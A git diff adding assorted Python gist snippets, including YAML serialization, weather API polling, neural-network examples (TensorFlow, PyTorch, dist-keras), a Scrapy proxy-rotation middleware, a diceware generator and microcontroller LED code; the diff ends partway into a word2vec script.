Binary files /dev/null and b/hard-gists/c70fb69eef42d40bed06/._snippet.py differ
diff --git a/hard-gists/c70fb69eef42d40bed06/snippet.py b/hard-gists/c70fb69eef42d40bed06/snippet.py
new file mode 100644
index 00000000..dba7e993
--- /dev/null
+++ b/hard-gists/c70fb69eef42d40bed06/snippet.py
@@ -0,0 +1,59 @@
+#!/usr/bin/env python
+try:
+        # for python newer than 2.7
+    from collections import OrderedDict
+except ImportError:
+        # use backport from pypi
+    from ordereddict import OrderedDict
+
+import yaml
+
+# try to use LibYAML bindings if possible
+try:
+    from yaml import CLoader as Loader, CDumper as Dumper
+except ImportError:
+    from yaml import Loader, Dumper
+from yaml.representer import SafeRepresenter
+_mapping_tag = yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG
+
+
+def dict_representer(dumper, data):
+    return dumper.represent_dict(data.iteritems())
+
+
+def dict_constructor(loader, node):
+    return OrderedDict(loader.construct_pairs(node))
+
+Dumper.add_representer(OrderedDict, dict_representer)
+Loader.add_constructor(_mapping_tag, dict_constructor)
+
+Dumper.add_representer(str,
+                       SafeRepresenter.represent_str)
+
+Dumper.add_representer(unicode,
+                       SafeRepresenter.represent_unicode)
+
+
+# output = yaml.dump(data, Dumper=Dumper, default_flow_style=False)
+
+# data = yaml.load(stream, Loader=Loader)
+# abc:
+#   x:
+#     0: null
+#   y:
+#     1: null
+yml_dict = OrderedDict(
+    abc=OrderedDict(
+        [('x', OrderedDict([(0, None)])), ('y', OrderedDict([(1, None)]))]))
+
+import json
+print(json.dumps(yml_dict, indent=2))
+print
+
+# dump ordereddict to yaml
+output = yaml.dump(yml_dict, Dumper=Dumper, default_flow_style=False)
+print output
+
+# directly write to a file object to save memory.
+with open('result.yml', 'w') as f:
+    yaml.dump(yml_dict, f, default_flow_style=False)
diff --git a/hard-gists/c71f241125ed879d4af7/._snippet.py b/hard-gists/c71f241125ed879d4af7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c71f241125ed879d4af7/._snippet.py differ
diff --git a/hard-gists/c71f241125ed879d4af7/snippet.py b/hard-gists/c71f241125ed879d4af7/snippet.py
new file mode 100644
index 00000000..9cf74b1b
--- /dev/null
+++ b/hard-gists/c71f241125ed879d4af7/snippet.py
@@ -0,0 +1,124 @@
+#!/usr/bin/env python
+
+import random
+import sys
+import time
+import Image
+
+#ROW_AMT = 11185
+ROW_AMT = 285
+COL_AMT = 290
+MID = COL_AMT / 2
+BOARD = [[0 for _ in range(COL_AMT)] for __ in range(ROW_AMT)]
+CHAR = "+"
+SPACE = "."
+#CHAR = "\xe2\x97\x89"
+#CHAR = "\xe1\x9A\x88"
+#CHAR = "\xe2\x96\xbe"
+PADDING = COL_AMT * 10
+RANDMID = random.randint(0, MID-1)
+
+def setup(n):
+  BOARD[0][MID] = 1
+
+def getRGB(v):
+  if v == 1:
+    return (255,255,255)
+  else:
+    return (0, 0, 0)
+
+def printPadding():
+  for P in range(PADDING):
+    if P != 0 and P % COL_AMT == 0:
+      sys.stdout.write('\n')
+    else:
+      printLine(0)
+  sys.stdout.write('\n')
+
+def printLine(v):
+  #CHAR = "_"
+  #SPACE = " "
+  CHAR = random.choice(['+', 'A', '-', 'Z', '\\', '*', '^'])
+  SPACE = random.choice(['.', ',', ' ', ' ', ' ', ' '])
+  sys.stdout.write(CHAR) if v == 1 else sys.stdout.write(SPACE)
+
+
+def myHandsAreClaws(y, rule):
+
+    if y % 3 == 0:
+      rule -= 1
+    elif y % 5 == 0:
+      rule -= 2
+    else:
+      rule += 2
+
+    BOARD[y][MID] = 1
+    #BOARD[y][MID+1] = 0
+    #BOARD[y][MID-1] = 0
+
+    #BOARD[y][MID-RANDMID] = 1
+    #BOARD[y][MID+RANDMID] = 1
+    #BOARD[y][MID-RANDMID/2] = 1
+    #BOARD[y][MID+RANDMID/2] = 1
+    #BOARD[y][RANDMID/2] = 1
+    #BOARD[y][COL_AMT - RANDMID/2] = 1
+
+    return rule
+
+def main():
+  if len(sys.argv) == 3:
+    rule = 18
+  else:
+    rule = int(sys.argv[1])
+  setup(rule)
+
+  printPadding()
+
+  # Render Image:
+  img = Image.new('RGB', (COL_AMT, ROW_AMT), "black")
+  pixels = img.load()
+
+  for x in range(COL_AMT):
+    printLine(BOARD[0][x])
+  sys.stdout.write('\n')
+
+  for y in range(ROW_AMT):
+
+    #rule = myHandsAreClaws(y, rule)
+
+    #time.sleep(0.008);
+    time.sleep(0.002);
+    sys.stdout.write("Rule #: {}\t\t".format(rule))
+
+    if y == 0: continue
+    for x in range(COL_AMT):
+
+      left = BOARD[y-1][(x-1) % COL_AMT]
+      mid = BOARD[y-1][x]
+      right = BOARD[y-1][(x+1) % COL_AMT]
+      bits = int('0b{}{}{}'.format(left, mid, right), 2)
+
+      ruleBits = [int(b) for b in '{0:08b}'.format(rule)][::-1]
+
+      for i, r in enumerate(ruleBits):
+        if r == 1 and bits == i:
+          BOARD[y][x] = 1
+
+      pixels[x, y] = getRGB(BOARD[y][x])
+
+      printLine(BOARD[y][x])
+    sys.stdout.write('\n')
+
+    #if BOARD[y][MID] == BOARD[y-1][MID]:
+    #  #rule += 4 #rule += 3
+    #  rule += 7
+
+    #rule = int('0b' + ''.join([str(x) for x in BOARD[y][MID-8:MID]]), 2)
+    #BOARD[y][MID] = 1
+    #if BOARD[y-1] == BOARD[y]: rule = rule ^ 0xff
+
+  printPadding()
+  img.show()
+
+if __name__ == '__main__':
+  main()
\ No newline at end of file
diff --git a/hard-gists/c781881856b30cacef36/._snippet.py b/hard-gists/c781881856b30cacef36/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c781881856b30cacef36/._snippet.py differ
diff --git a/hard-gists/c781881856b30cacef36/snippet.py b/hard-gists/c781881856b30cacef36/snippet.py
new file mode 100644
index 00000000..5a71c131
--- /dev/null
+++ b/hard-gists/c781881856b30cacef36/snippet.py
@@ -0,0 +1,91 @@
+import forecastio
+import datetime
+import csv
+import time
+
+
+'''link to the Forecast.io API: https://developer.forecast.io/
+   Forecast.io Python Wrapper: https://github.com/ZeevG/python-forecast.io'''
+
+
+api_key = "Your API Key Goes Here"
+
+'''Locations for weather forecast
+	If this list is updated, remember to update the dict keys as well
+'''
+
+locations = ['ComEd', 'PECO', 'Duke', 'BGE', 'PPL', 'Dayton', 'JCPL', 'PEPCO', 'Zone A', 'Zone B', 
+			 'Zone C', 'Zone D', 'Zone E', 'Zone F', 'Zone G', 'Zone H', 'Zone I', 'Zone J', 'Houston', 'Dallas', 'Laredo']
+lats = [41.836828, 39.952335, 39.103118, 39.290385, 41.408969, 39.758948, 40.728157, 38.984652, 42.886447, 43.161030, 
+		43.048122, 44.699487, 42.814243, 43.083130, 41.700371, 41.033986, 40.931210, 40.678178, 29.760427, 32.776664, 27.530567  ]
+lngs = [-87.640686, -75.163789, -84.512020, -76.612189, -75.662412, -84.191607, -74.077642, -77.094709, -78.878369, -77.610922,  
+		-76.147424, -73.452912, -73.939569, -73.784565, -73.920970, -73.762910, -73.898747, -73.944158, -95.369803, -96.796988, -99.480324 ]
+
+''' Location Key
+ComEd - Chicago, IL
+PECO - Philadelphia, PA
+Duke - Cincinnati, OH
+BGE - Baltimore, MD
+PPL - Scranton, PA
+Dayton - Dayton, OH
+JCPL - Jersey City, NJ
+PEPCO - Bethesda, MD
+Zone A - Buffalo, NY
+Zone B - Rochester, NY
+Zone C - Syracuse, NY
+Zone D - Plattsburgh, NY
+Zone E - Schenectady, NY
+Zone F - Saratoga Springs, NY
+Zone G - Poughkeepsie, NY
+Zone H - White Plains, NY
+Zone I - Yonkers, NY
+Zone J - Brooklyn, NY
+
+'''
+
+''' Get the current time to add to the forecast record '''
+now = datetime.datetime.now()
+ForecastTime = now.strftime("%Y-%m-%d %H:%M")
+
+''' Set the start date to either a specific day or a specific lag '''
+#a = datetime.date(2014,12,1)
+a = datetime.datetime.today() - datetime.timedelta(1)
+numdays = 7 # Set the number of days to pull in the future
+
+'''Set the Date array'''
+dateList = []
+for x in range (0, numdays):
+    dateList.append(a + datetime.timedelta(days = x)) # Can change the '+' to '-' to pull historical
+
+'''Loop through the locations and dates'''
+temps = []
+
+for i in range (len(locations)):
+	for dates in dateList:
+		forecast = forecastio.load_forecast(api_key, lats[i], lngs[i], dates)
+
+		byHour = forecast.hourly()
+
+
+
+		for hourlyData in byHour.data:
+			try:
+				temps.append({
+						'ForecastDate': ForecastTime,
+						'Time':hourlyData.time.strftime("%Y-%m-%d %H:%M:%S"),
+						'Location':locations[i], 
+						'Temp':hourlyData.temperature,
+						'DewPoint': hourlyData.dewPoint
+						}) 
+			except:
+				pass
+				
+
+	
+
+'''Write the results to a csv file'''
+keys = ['ForecastDate','Time', 'Location', 'Temp', 'DewPoint']
+f = open('WeatherData_Stage.csv', 'wb')
+dict_writer = csv.DictWriter(f, keys)
+dict_writer.writer.writerow(keys)
+dict_writer.writerows(temps)
\ No newline at end of file
diff --git a/hard-gists/c7a2333c227e24226808/._snippet.py b/hard-gists/c7a2333c227e24226808/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c7a2333c227e24226808/._snippet.py differ
diff --git a/hard-gists/c7a2333c227e24226808/snippet.py b/hard-gists/c7a2333c227e24226808/snippet.py
new file mode 100644
index 00000000..2276ac84
--- /dev/null
+++ b/hard-gists/c7a2333c227e24226808/snippet.py
@@ -0,0 +1,55 @@
+from pylab import *
+from scipy.stats import norm, uniform
+
+theta_grid = arange(0,2*pi,1.0/1024.0)
+
+true_b = pi/2
+
+b_belief = ones(shape=theta_grid.shape, dtype=float)
+b_belief /= b_belief.sum()
+
+def _radian_normalize(x):
+    new_x = x.copy()
+    new_x[where(new_x > 2*pi)] -= 2*pi
+    new_x[where(new_x < 0)] += 2*pi
+    return new_x
+
+Nt = 25
+
+t = arange(0,Nt)
+
+true_directions = _radian_normalize(norm(pi/2,pi/4).rvs(Nt-1))
+
+measured_directions = _radian_normalize(true_directions + true_b)
+
+positions = zeros(shape=(2, Nt))
+positions[:,1:] = array([ cumsum(cos(true_directions)), cumsum(sin(true_directions)) ])
+
+position_noise = 0.25
+measured_positions = positions + norm(0,position_noise).rvs( (2, Nt) )
+
+measured_deltas = measured_positions[:,1:]-measured_positions[:,0:-1]
+
+plot(theta_grid, b_belief, label='prior')
+
+def update_belief(delta_pos, measured_dir, prior):
+    print "delta_pos = " + str(delta_pos)
+    print "measured dir = " + str(measured_dir - true_b)
+
+    dist = norm(0, 2*position_noise)
+    posterior = dist.pdf(delta_pos[0] - cos(measured_dir - theta_grid)) * dist.pdf(delta_pos[1] - sin(measured_dir - theta_grid))
+    posterior *= prior
+    posterior /= posterior.sum()
+    return posterior
+
+for i in range(21):
+    b_belief = update_belief(measured_deltas[:,i], measured_directions[i], b_belief)
+    if (i % 4 == 0):
+        plot(theta_grid, b_belief, label='measurement ' + str(i))
+
+legend()
+xticks([0, pi/2, pi, 3*pi/2, 2*pi], ['0', 'pi/2', 'pi', '3pi/2', '2pi'])
+#axis('equal')
+#plot(positions[0], positions[1], 'bo', label='positions')
+#plot(measured_positions[0], measured_positions[1], 'go', label='measured positions')
+show()
diff --git a/hard-gists/c7a37230842f82fc51eaecf855fbf7ab/._snippet.py b/hard-gists/c7a37230842f82fc51eaecf855fbf7ab/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c7a37230842f82fc51eaecf855fbf7ab/._snippet.py differ
diff --git a/hard-gists/c7a37230842f82fc51eaecf855fbf7ab/snippet.py b/hard-gists/c7a37230842f82fc51eaecf855fbf7ab/snippet.py
new file mode 100644
index 00000000..41127c84
--- /dev/null
+++ b/hard-gists/c7a37230842f82fc51eaecf855fbf7ab/snippet.py
@@ -0,0 +1,8 @@
+import yaml
+import json
+import pandas as pd
+
+df = pd.DataFrame({'one': [1.0, 2.1, 3.2], 'two': [4.3, 5.4, 6.5]})
+
+with open('df.yml', 'w') as file:
+    yaml.dump({'result': json.loads(df.to_json(orient='records'))}, file, default_flow_style=False)
diff --git a/hard-gists/c7dd1262bd81a32663f0/._snippet.py b/hard-gists/c7dd1262bd81a32663f0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c7dd1262bd81a32663f0/._snippet.py differ
diff --git a/hard-gists/c7dd1262bd81a32663f0/snippet.py b/hard-gists/c7dd1262bd81a32663f0/snippet.py
new file mode 100644
index 00000000..c7214b96
--- /dev/null
+++ b/hard-gists/c7dd1262bd81a32663f0/snippet.py
@@ -0,0 +1,23 @@
+import objc
+from Foundation import NSBundle
+
+IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
+
+functions = [("IOServiceGetMatchingService", b"II@"),
+             ("IOServiceMatching", b"@*"),
+             ("IORegistryEntryCreateCFProperty", b"@I@@I"),
+            ]
+
+objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
+
+def io_key(keyname):
+    return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0, IOServiceMatching("IOPlatformExpertDevice")), keyname, None, 0)
+
+def get_hardware_uuid():
+    return io_key("IOPlatformUUID")
+
+def get_hardware_serial():
+    return io_key("IOPlatformSerialNumber")
+
+def get_board_id():
+    return str(io_key("board-id")).rstrip('\x00')
\ No newline at end of file
diff --git a/hard-gists/c7e9a91256c9c5db1676aa3c240531cf/._snippet.py b/hard-gists/c7e9a91256c9c5db1676aa3c240531cf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c7e9a91256c9c5db1676aa3c240531cf/._snippet.py differ
diff --git a/hard-gists/c7e9a91256c9c5db1676aa3c240531cf/snippet.py b/hard-gists/c7e9a91256c9c5db1676aa3c240531cf/snippet.py
new file mode 100644
index 00000000..a1895dc4
--- /dev/null
+++ b/hard-gists/c7e9a91256c9c5db1676aa3c240531cf/snippet.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+
+# requires python 3.6 and requests
+import os
+import re
+import secrets
+import requests
+
+
+wordlist_file = 'diceware.wordlist.asc'
+
+
+if not os.path.isfile(wordlist_file):
+    print('Reticulating splines...\n')
+    data = requests.get('http://world.std.com/~reinhold/diceware.wordlist.asc').text
+    with open(wordlist_file, 'w') as f:
+        f.write(data)
+
+
+random_integer_list = [secrets.choice(range(1, 7)) for i in range(45)]
+
+f = lambda A, n=5: [A[i:i+n] for i in range(0, len(A), n)]
+
+grouped_codes = f(random_integer_list)
+
+passphrase_codes = map(lambda elt: r''.join(str(x) for x in elt), grouped_codes)
+
+passphrase = []
+
+for code in passphrase_codes:
+    for line in open(wordlist_file, 'r'):
+        if re.match(code, line):
+            passphrase.append(line.strip().split('\t')[1])
+
+print(' '.join(passphrase))
+
+# #### download beale.wordlist.asc from http://world.std.com/~reinhold/diceware.html
diff --git a/hard-gists/c7ec9a30052127c7a1ad169eeb83f159/._snippet.py b/hard-gists/c7ec9a30052127c7a1ad169eeb83f159/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c7ec9a30052127c7a1ad169eeb83f159/._snippet.py differ
diff --git a/hard-gists/c7ec9a30052127c7a1ad169eeb83f159/snippet.py b/hard-gists/c7ec9a30052127c7a1ad169eeb83f159/snippet.py
new file mode 100644
index 00000000..bf8df37c
--- /dev/null
+++ b/hard-gists/c7ec9a30052127c7a1ad169eeb83f159/snippet.py
@@ -0,0 +1,95 @@
+# Example for my blog post at:
+# https://danijar.com/introduction-to-recurrent-networks-in-tensorflow/
+import functools
+import sets
+import tensorflow as tf
+
+
+def lazy_property(function):
+    attribute = '_' + function.__name__
+
+    @property
+    @functools.wraps(function)
+    def wrapper(self):
+        if not hasattr(self, attribute):
+            setattr(self, attribute, function(self))
+        return getattr(self, attribute)
+    return wrapper
+
+
+class SequenceClassification:
+
+    def __init__(self, data, target, dropout, num_hidden=200, num_layers=3):
+        self.data = data
+        self.target = target
+        self.dropout = dropout
+        self._num_hidden = num_hidden
+        self._num_layers = num_layers
+        self.prediction
+        self.error
+        self.optimize
+
+    @lazy_property
+    def prediction(self):
+        # Recurrent network.
+        network = tf.contrib.rnn.GRUCell(self._num_hidden)
+        network = tf.contrib.rnn.DropoutWrapper(
+            network, output_keep_prob=self.dropout)
+        network = tf.contrib.rnn.MultiRNNCell([network] * self._num_layers)
+        output, _ = tf.nn.dynamic_rnn(network, self.data, dtype=tf.float32)
+        # Select last output.
+        output = tf.transpose(output, [1, 0, 2])
+        last = tf.gather(output, int(output.get_shape()[0]) - 1)
+        # Softmax layer.
+        weight, bias = self._weight_and_bias(
+            self._num_hidden, int(self.target.get_shape()[1]))
+        prediction = tf.nn.softmax(tf.matmul(last, weight) + bias)
+        return prediction
+
+    @lazy_property
+    def cost(self):
+        cross_entropy = -tf.reduce_sum(self.target * tf.log(self.prediction))
+        return cross_entropy
+
+    @lazy_property
+    def optimize(self):
+        learning_rate = 0.003
+        optimizer = tf.train.RMSPropOptimizer(learning_rate)
+        return optimizer.minimize(self.cost)
+
+    @lazy_property
+    def error(self):
+        mistakes = tf.not_equal(
+            tf.argmax(self.target, 1), tf.argmax(self.prediction, 1))
+        return tf.reduce_mean(tf.cast(mistakes, tf.float32))
+
+    @staticmethod
+    def _weight_and_bias(in_size, out_size):
+        weight = tf.truncated_normal([in_size, out_size], stddev=0.01)
+        bias = tf.constant(0.1, shape=[out_size])
+        return tf.Variable(weight), tf.Variable(bias)
+
+
+def main():
+    # We treat images as sequences of pixel rows.
+    train, test = sets.Mnist()
+    _, rows, row_size = train.data.shape
+    num_classes = train.target.shape[1]
+    data = tf.placeholder(tf.float32, [None, rows, row_size])
+    target = tf.placeholder(tf.float32, [None, num_classes])
+    dropout = tf.placeholder(tf.float32)
+    model = SequenceClassification(data, target, dropout)
+    sess = tf.Session()
+    sess.run(tf.global_variables_initializer())
+    for epoch in range(10):
+        for _ in range(100):
+            batch = train.sample(10)
+            sess.run(model.optimize, {
+                data: batch.data, target: batch.target, dropout: 0.5})
+        error = sess.run(model.error, {
+            data: test.data, target: test.target, dropout: 1})
+        print('Epoch {:2d} error {:3.1f}%'.format(epoch + 1, 100 * error))
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/c80e24454ee353d3c123/._snippet.py b/hard-gists/c80e24454ee353d3c123/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c80e24454ee353d3c123/._snippet.py differ
diff --git a/hard-gists/c80e24454ee353d3c123/snippet.py b/hard-gists/c80e24454ee353d3c123/snippet.py
new file mode 100644
index 00000000..297bc076
--- /dev/null
+++ b/hard-gists/c80e24454ee353d3c123/snippet.py
@@ -0,0 +1,69 @@
+import re
+import random
+import base64
+from scrapy import log
+
+class RandomProxy(object):
+    def __init__(self, settings):
+        self.proxy_list = settings.get('PROXY_LIST')
+        fin = open(self.proxy_list)
+
+        self.proxies = {}
+        for line in fin.readlines():
+            parts = re.match('(\w+://)(\w+:\w+@)?(.+)', 'http://'+line)
+
+            # Cut trailing @
+            if parts.group(2):
+                user_pass = parts.group(2)[:-1]
+            else:
+                user_pass = ''
+
+            self.proxies[parts.group(1) + parts.group(3)] = user_pass
+
+        fin.close()
+
+    @classmethod
+    def from_crawler(cls, crawler):
+        return cls(crawler.settings)
+
+    def process_request(self, request, spider):
+        if 'proxy' in request.meta:
+            return
+
+        proxy_address = random.choice(self.proxies.keys())
+        proxy_user_pass = self.proxies[proxy_address]
+
+        log.msg('Using proxy: {0}'.format(proxy_address))
+
+        request.meta['proxy'] = proxy_address
+        if proxy_user_pass:
+            basic_auth = 'Basic ' + base64.encodestring(proxy_user_pass)
+            request.headers['Proxy-Authorization'] = basic_auth
+
+    def process_response(self, request, response, spider):
+        if response.status in [403, 400] and 'proxy' in request.meta:
+            log.msg('Response status: {0} using proxy {1} retrying request to {2}'.format(response.status, \
+                request.meta['proxy'], request.url))
+            proxy = request.meta['proxy']
+            del request.meta['proxy']
+            try:
+                del self.proxies[proxy]
+                log.msg('Removing banned proxy <%s>, %d proxies left' % (
+                        proxy, len(self.proxies)))
+            except KeyError:
+                pass
+            return request
+        return response
+
+    def process_exception(self, request, exception, spider):
+        if 'proxy' in request.meta:
+            proxy = request.meta['proxy']
+            del request.meta['proxy']
+            try:
+                del self.proxies[proxy]
+                log.msg('Removing failed proxy <%s>, %d proxies left' % (
+                        proxy, len(self.proxies)))
+            except KeyError:
+                pass
+
+            return request
diff --git a/hard-gists/c84643e4d13818fc5a35a8de888126bb/._snippet.py b/hard-gists/c84643e4d13818fc5a35a8de888126bb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c84643e4d13818fc5a35a8de888126bb/._snippet.py differ
diff --git a/hard-gists/c84643e4d13818fc5a35a8de888126bb/snippet.py b/hard-gists/c84643e4d13818fc5a35a8de888126bb/snippet.py
new file mode 100644
index 00000000..1598d7f8
--- /dev/null
+++ b/hard-gists/c84643e4d13818fc5a35a8de888126bb/snippet.py
@@ -0,0 +1,77 @@
+# tom@jitter.eu 12/2017 :*
+# https://gist.github.com/gretel/c84643e4d13818fc5a35a8de888126bb
+
+import pycom
+import time
+from machine import Pin
+from machine import PWM
+
+# increments per cycle
+STEP_1 = 0.00700
+STEP_2 = 0.01200
+# on
+MAX_VALUE = 1.0
+# off
+MIN_VALUE = 0.0
+
+# disable bright blue blink
+# https://docs.pycom.io/chapter/tutorials/all/rgbled.html
+pycom.heartbeat(False)
+
+# setup two inputs
+# https://docs.pycom.io/chapter/firmwareapi/pycom/machine/Pin.html
+p_in_1 = Pin('P13', mode=Pin.IN, pull=Pin.PULL_UP)
+p_in_2 = Pin('P14', mode=Pin.IN, pull=Pin.PULL_UP)
+
+# create two pwm channels for the LEDs
+# https://docs.pycom.io/chapter/firmwareapi/pycom/machine/PWM.html
+pwm_1 = PWM(0, frequency=100)
+pwm_c_1 = pwm_1.channel(0, pin='P10', duty_cycle=1.0)
+# purely decorative
+pwm_c_2 = pwm_1.channel(1, pin='P11', duty_cycle=1.0)
+
+# piggyback buzzer to channel 0 (which drives the first led)
+pwm_buz = pwm_1.channel(0, pin='P9', duty_cycle=0.5)
+
+# initialize variables
+c_1_cycle = MIN_VALUE
+c_2_cycle = MIN_VALUE
+cstep_1 = STEP_1
+cstep_2 = STEP_2
+
+# loop
+while True:
+  # button 1 effect
+  if p_in_1() == 1:
+    delay = 5
+  else:
+    delay = 50
+
+  # button 2 effect
+  if p_in_2() == 1:
+    # swap values
+    temp = c_2_cycle
+    c_2_cycle = c_1_cycle
+    c_1_cycle = temp
+    del temp
+    time.sleep_ms(delay * 2)
+
+  # set pulse width
+  pwm_c_1.duty_cycle(c_1_cycle)
+  pwm_c_2.duty_cycle(c_2_cycle)
+  time.sleep_ms(delay)
+
+  # incremenet/decrement
+  c_1_cycle += cstep_1
+  c_2_cycle += cstep_2
+
+  # boundaries
+  if c_1_cycle >= MAX_VALUE:
+    cstep_1 = STEP_1 * -1
+  elif c_1_cycle <= MIN_VALUE:
+    cstep_1 = STEP_1
+
+  if c_2_cycle >= MAX_VALUE:
+    cstep_2 = STEP_2 * -1
+  elif c_2_cycle <= MIN_VALUE:
+    cstep_2 = STEP_2
diff --git a/hard-gists/c87011a445135417c114960bbc187618/._snippet.py b/hard-gists/c87011a445135417c114960bbc187618/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c87011a445135417c114960bbc187618/._snippet.py differ
diff --git a/hard-gists/c87011a445135417c114960bbc187618/snippet.py b/hard-gists/c87011a445135417c114960bbc187618/snippet.py
new file mode 100644
index 00000000..7101ebfc
--- /dev/null
+++ b/hard-gists/c87011a445135417c114960bbc187618/snippet.py
@@ -0,0 +1,80 @@
+"""
+Dist-Keras Spark ML Pipelines
+Copyright (C) 2017 Principal Academy Inc.
+
+This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
+"""
+
+
+from keras.layers import Activation, Dense, Dropout
+from distkeras import predictors, trainers
+from keras.optimizers import SGD
+from pyspark import ml
+
+
+class DistKeras(ml.Estimator):
+    
+    def __init__(self, *args, **kwargs):
+        self.__trainer_klass = args[0]
+        self.__trainer_params = args[1]
+        self.__build_trainer(**kwargs)
+        super(DistKeras, self).__init__()
+    
+    @classmethod
+    def __build_keras_model(klass, *args, **kwargs):
+        loss = kwargs['loss']
+        metrics = kwargs['metrics']
+        layer_dims = kwargs['layer_dims']
+        hidden_activation, output_activation = kwargs['activations']
+        dropout_rate = kwargs['dropout_rate']
+        reg_strength = kwargs['reg_strength']
+        reg_decay = kwargs['reg_decay']
+        keras_model = Sequential()
+        for idx in range(1, len(layer_dims)-1, 1):
+            keras_model.add(Dense(layer_dims[idx],
+                                  input_dim=layer_dims[idx-1],
+                                  bias_initializer='glorot_normal',
+                                  kernel_initializer='glorot_normal',
+                                  kernel_regularizer=l1_l2(reg_strength)))
+            keras_model.add(Activation(hidden_activation))
+            keras_model.add(Dropout(dropout_rate))
+            reg_strength *= reg_decay
+        keras_model.add(Dense(layer_dims[-1],
+                              input_dim=layer_dims[-2],
+                              bias_initializer='glorot_uniform',
+                              kernel_initializer='glorot_uniform',
+                              kernel_regularizer=l1_l2(reg_strength)))
+        keras_model.add(Activation(output_activation))
+        return keras_model
+    
+    def __build_trainer(self, *args, **kwargs):
+        loss = kwargs['loss']
+        learning_rate = kwargs['learning_rate']
+        lr_decay = kwargs['lr_decay']
+        keras_optimizer = SGD(learning_rate, decay=lr_decay)
+        keras_model = DistKeras.__build_keras_model(**kwargs)
+        self._trainer = self.__trainer_klass(keras_model, keras_optimizer, loss, **self.__trainer_params)
+    
+    def _fit(self, *args, **kwargs):
+        data_frame = args[0]
+        if kwargs is not None:
+            self.__build_trainer(**kwargs)
+        keras_model = self._trainer.train(data_frame)
+        return DistKerasModel(keras_model)
+
+
+class DistKerasModel(ml.Model):
+    
+    def __init__(self, *args, **kwargs):
+        keras_model = args[0]
+        self._predictor = predictors.ModelPredictor(keras_model)
+        super(DistKerasModel, self).__init__()
+    
+    def _transform(self, *args, **kwargs):
+        data_frame = args[0]
+        return self._predictor.predict(data_frame)
+
diff --git a/hard-gists/c87cc706625b8a54e604fb1024106556/._snippet.py b/hard-gists/c87cc706625b8a54e604fb1024106556/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c87cc706625b8a54e604fb1024106556/._snippet.py differ
diff --git a/hard-gists/c87cc706625b8a54e604fb1024106556/snippet.py b/hard-gists/c87cc706625b8a54e604fb1024106556/snippet.py
new file mode 100644
index 00000000..8a490d01
--- /dev/null
+++ b/hard-gists/c87cc706625b8a54e604fb1024106556/snippet.py
@@ -0,0 +1,56 @@
+import torch
+from torch import nn
+from torch.autograd import Variable
+import torch.nn.functional as F
+
+class RNN(nn.Module):
+    def __init__(self, input_size, hidden_size, output_size, n_layers=1):
+        super(RNN, self).__init__()
+        self.input_size = input_size
+        self.hidden_size = hidden_size
+        self.output_size = output_size
+        self.n_layers = n_layers
+
+        self.c1 = nn.Conv1d(input_size, hidden_size, 2)
+        self.p1 = nn.AvgPool1d(2)
+        self.c2 = nn.Conv1d(hidden_size, hidden_size, 1)
+        self.p2 = nn.AvgPool1d(2)
+        self.gru = nn.GRU(hidden_size, hidden_size, n_layers, dropout=0.01)
+        self.out = nn.Linear(hidden_size, output_size)
+
+    def forward(self, inputs, hidden):
+        batch_size = inputs.size(1)
+        
+        # Turn (seq_len x batch_size x input_size) into (batch_size x input_size x seq_len) for CNN
+        inputs = inputs.transpose(0, 1).transpose(1, 2)
+
+        # Run through Conv1d and Pool1d layers
+        c = self.c1(inputs)
+        p = self.p1(c)
+        c = self.c2(p)
+        p = self.p2(c)
+
+        # Turn (batch_size x hidden_size x seq_len) back into (seq_len x batch_size x hidden_size) for RNN
+        p = p.transpose(1, 2).transpose(0, 1)
+        
+        p = F.tanh(p)
+        output, hidden = self.gru(p, hidden)
+        conv_seq_len = output.size(0)
+        output = output.view(conv_seq_len * batch_size, self.hidden_size) # Treating (conv_seq_len x batch_size) as batch_size for linear layer
+        output = F.tanh(self.out(output))
+        output = output.view(conv_seq_len, -1, self.output_size)
+        return output, hidden
+
+input_size = 20
+hidden_size = 50
+output_size = 7
+batch_size = 5
+n_layers = 2
+seq_len = 15
+
+rnn = RNN(input_size, hidden_size, output_size, n_layers=n_layers)
+
+inputs = Variable(torch.rand(seq_len, batch_size, input_size)) # seq_len x batch_size x 
+outputs, hidden = rnn(inputs, None)
+print('outputs', outputs.size()) # conv_seq_len x batch_size x output_size
+print('hidden', hidden.size()) # n_layers x batch_size x hidden_size
\ No newline at end of file
diff --git a/hard-gists/c8a451502958fa367d84bf038081ee4b/._snippet.py b/hard-gists/c8a451502958fa367d84bf038081ee4b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c8a451502958fa367d84bf038081ee4b/._snippet.py differ
diff --git a/hard-gists/c8a451502958fa367d84bf038081ee4b/snippet.py b/hard-gists/c8a451502958fa367d84bf038081ee4b/snippet.py
new file mode 100644
index 00000000..81dd5e1a
--- /dev/null
+++ b/hard-gists/c8a451502958fa367d84bf038081ee4b/snippet.py
@@ -0,0 +1,123 @@
+import tensorflow as tf
+import numpy as np
+
+corpus_raw = 'He is the king . The king is royal . She is the royal  queen '
+
+# convert to lower case
